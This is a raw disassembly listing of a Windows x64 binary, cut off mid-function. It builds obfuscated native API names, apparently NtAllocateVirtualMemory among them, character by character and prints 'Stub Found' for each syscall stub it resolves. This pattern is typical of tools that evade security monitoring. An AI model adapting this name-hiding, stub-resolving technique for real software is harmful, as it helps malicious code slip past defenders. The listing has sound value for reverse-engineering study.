lea rdx, [rbp + 0x9b0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x1401893de]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x1401893e0]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x910]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xb1f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0xb20]
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140004c1e
lea rsi, [0x1401893b4]
jmp 0x140004c25
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xd0f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0xd0f]
lea rax, [rbp + 0xce0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x1401893e2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x1401893d8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x1401893da]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0xb40]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xd0f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0xd10]
mov rcx, qword [rbp + 0x2f38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140004f58
lea rsi, [0x1401893b4]
jmp 0x140004f5f
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xfdf]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0xfdf]
lea rax, [rbp + 0xfb0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x1401893e6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x1401893e8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x1401893ec]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x1401893ee]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x1401893f0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x1401893f2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0xd30]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0xfdf]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0xfe0]
mov rcx, qword [rbp + 0x2f30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x1400053c6
lea rsi, [0x1401893b4]
jmp 0x1400053cd
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x132f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x132f]
lea rax, [rbp + 0x1300]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x1401893f4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1401893f6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1401893f8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x1401893d4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x1000]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x132f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1330]
mov rcx, qword [rbp + 0x2f28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x1400058e4
lea rsi, [0x1401893b4]
jmp 0x1400058eb
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x15bf]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x15bf]
lea rax, [rbp + 0x1590]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x1401893e2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1401893a6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x1401893ae]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x1350]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x15bf]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x15c0]
mov rcx, qword [rbp + 0x2f20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140005cfa
lea rsi, [0x1401893b4]
jmp 0x140005d01
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x16cf]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x16cf]
lea rax, [rbp + 0x16a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x1401893d6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x15e0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x16cf]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x16d0]
mov rcx, qword [rbp + 0x2f18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140005f00
lea rsi, [0x1401893b4]
jmp 0x140005f07
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x189f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x189f]
lea rax, [rbp + 0x1870]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x1401893ee]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x1401893fa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x1401893d4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x16f0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1750]
